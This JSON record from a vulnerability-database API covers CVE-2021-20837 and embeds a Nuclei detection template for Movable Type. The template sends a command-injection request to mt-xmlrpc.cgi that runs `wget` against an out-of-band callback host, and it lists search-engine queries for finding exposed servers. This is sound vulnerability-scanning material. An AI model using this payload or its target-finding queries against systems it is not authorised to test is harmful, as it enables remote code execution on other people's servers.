{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-20837/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-20837/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-20837/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-20837/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-20837/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-20837"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-20837"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-20837.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-20837\n\ninfo:\n  name: MovableType - Remote Command Injection\n  author: dhiyaneshDK,hackergautam\n  severity: critical\n  description: MovableType 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.\n  remediation: |\n    Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability in MovableType.\n  reference:\n    - https://nemesis.sh/posts/movable-type-0day/\n    - https://github.com/ghost-nemesis/cve-2021-20837-poc\n    - https://twitter.com/cyber_advising/status/1454051725904580608\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-20837\n    - http://packetstormsecurity.com/files/164818/Movable-Type-7-r.5002-XMLRPC-API-Remote-Command-Injection.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-20837\n    cwe-id: CWE-78\n    epss-score: 0.88144\n    epss-percentile: 0.99761\n    cpe: cpe:2.3:a:sixapart:movable_type:*:*:*:*:premium:*:*:*\n  metadata:\n    max-request: 1\n    vendor: sixapart\n    product: movable_type\n    shodan-query:\n      - http.title:\"サインイン | movable type pro\"\n      - cpe:\"cpe:2.3:a:sixapart:movable_type\"\n    fofa-query: title=\"サインイン | movable type pro\"\n    google-query: intitle:\"サインイン | movable type pro\"\n  tags: cve2021,cve,packetstorm,rce,movable,sixapart,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <methodCall>\n          <methodName>mt.handler_to_coderef</methodName>\n          <params>\n            <param>\n              <value>\n                <base64>\n                  {{base64(\"`wget http://{{interactsh-url}}`\")}}\n                </base64>\n              </value>\n            </param>\n          </params>\n        </methodCall>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        words:\n          - \"failed loading package\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502204c3a54657815486bb9f056b028e789563ded639aa476f81dabef4dcd1c1be250022100f335d504da2fe41ee0dd713e548fe205109d030afda8d41f77adbb13b3debc7e:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-20837"
}